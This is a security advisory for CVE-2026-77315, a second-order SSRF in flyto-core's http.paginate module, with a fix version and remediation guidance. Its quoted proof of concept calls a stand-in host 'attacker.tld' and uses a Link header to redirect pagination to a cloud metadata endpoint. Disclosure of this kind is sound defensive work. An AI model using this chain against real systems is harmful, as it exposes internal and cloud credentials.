HIGH · CVSS 3.1 8.5 EPSS 0.4% · 30th percentile CWE-918

CVE-2026-77315: Flyto2 Core: http.paginate follows server-supplied next-page URLs (Link header / cursor) without SSRF revalidation

Published 2026-11-20 · Updated 2026-11-20 · Also known as GHSA-2mr3-rxrq-238c

Summary

Flyto-core's http.paginate module fails to revalidate subsequent pagination URLs provided by remote servers, allowing for second-order Server-Side Request Forgery (SSRF). Engineering teams should upgrade to version 2.26.8 or later to ensure all follow-up URLs are subject to security controls.

Who is affected

The vulnerability allows an attacker to bypass SSRF allowlisting by providing a malicious Link header in the initial response. Because the application aggregates the content of these unauthorized internal requests into the final result, sensitive internal data or cloud metadata can be exfiltrated back to the client. This impacts all deployments using http.paginate to process potentially untrusted remote pagination headers.

Exploitability

The vulnerability is rated as High (CVSS 8.5) and is considered trivial to exploit, as it requires no user interaction and operates over the network with low attack complexity. While the EPSS score is not yet available and there is no evidence of active exploitation via CISA KEV, the scope is changed (S:C), indicating the potential to access internal resources outside the application's intended sandbox.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-20. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
PyPI flyto-core >= 0, < 2.26.8 2.26.8 python -m pip install 'flyto-core>=2.26.8'

CVSS 3.1 vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Attack vectorNetwork
Attack complexityLow
Privileges requiredLow
User interactionNone
ScopeChanged
ConfidentialityHigh
IntegrityLow
AvailabilityNone

FAQ

Is my cloud environment at risk?

Yes, if your application uses flyto-core's pagination features to process responses from external sources, an attacker could potentially access internal cloud metadata services via the SSRF vulnerability.

Does this require special privileges to exploit?

No, the vulnerability is reachable by any attacker capable of triggering the initial request, even with low privileges (PR:L).

What specifically causes the bypass?

The application performs a single validation check on the initial base_url but fails to run the same validation logic on subsequent URLs discovered in Link headers or pagination cursors.

Original advisory description
## Summary `http.paginate` validates only the initial `base_url`, then follows server-supplied pagination targets (RFC 5988 `Link: rel="next"` headers, cursor/offset URLs) in a loop **without revalidating each follow-up URL**. An attacker's first-page response can point `next` at an internal address, causing a second-order SSRF whose internal body is aggregated into the returned items. ## Root Cause `src/core/modules/atomic/http/paginate.py:495` validates `base_url` (first URL only). The pagination loop `_paginate_link_header` reads `next_url` via `_parse_link_header` (:203), sets `url=next_url` (:208), and calls `session.request(method, url)` (:196) with NO validate call in the loop (:186-208 has zero guard calls). ## Impact Readable second-order SSRF that bypasses the SSRF control; internal/metadata body aggregated into `all_items` and returned to the caller (C:H, S:C). ## Proof of Concept Verified live: `http.paginate` with allowlisted base `127.0.0.1` followed a `Link: <http://127.0.0.3/...>; rel="next"` (non-allowlisted) and returned `INTERNAL-NEXTPAGE-SECRET` in the aggregated items. ``` execute_module http.paginate {"url":"http://attacker.tld/p1","strategy":"link_header"} attacker p1 response header: Link: <http://<cloud-metadata-ip>/latest/meta-data/>; rel="next" ``` ## Attack Chain 1. Entry: `http.paginate {url:"http://attacker.tld/p1", strategy:"link_header"}`. Guard: `validate_url_with_env_config(base_url)` (paginate.py:495) - validates the FIRST url only. 2. Sink: `_paginate_link_header` reads `next_url` (`_parse_link_header` :203), `url=next_url` (:208), `session.request(method,url)` (:196) - NO validate call in the loop. Bypass proof: only :495 validates; loop at :186-208 has zero guard calls. 3. Impact: internal body aggregated into `all_items` and returned → readable second-order SSRF. ## Bypass Evidence Live PoC followed a `Link` header into non-allowlisted loopback and returned the internal marker in aggregated results. Only `base_url` is validated; the follow loop never revalidates. ## Affected Versions `<= 2.26.6` - `paginate.py:495` + loop present on latest release tag. ## Suggested Fix Run every follow-up URL (Link header, cursor, offset target) through `validate_url_with_env_config` before fetching it inside the pagination loop. ## Credit Vulnerability discovered by zx (Jace).

References

Source records: GHSA-2mr3-rxrq-238c (OSV.dev) · EPSS by FIRST, 2026-11-21.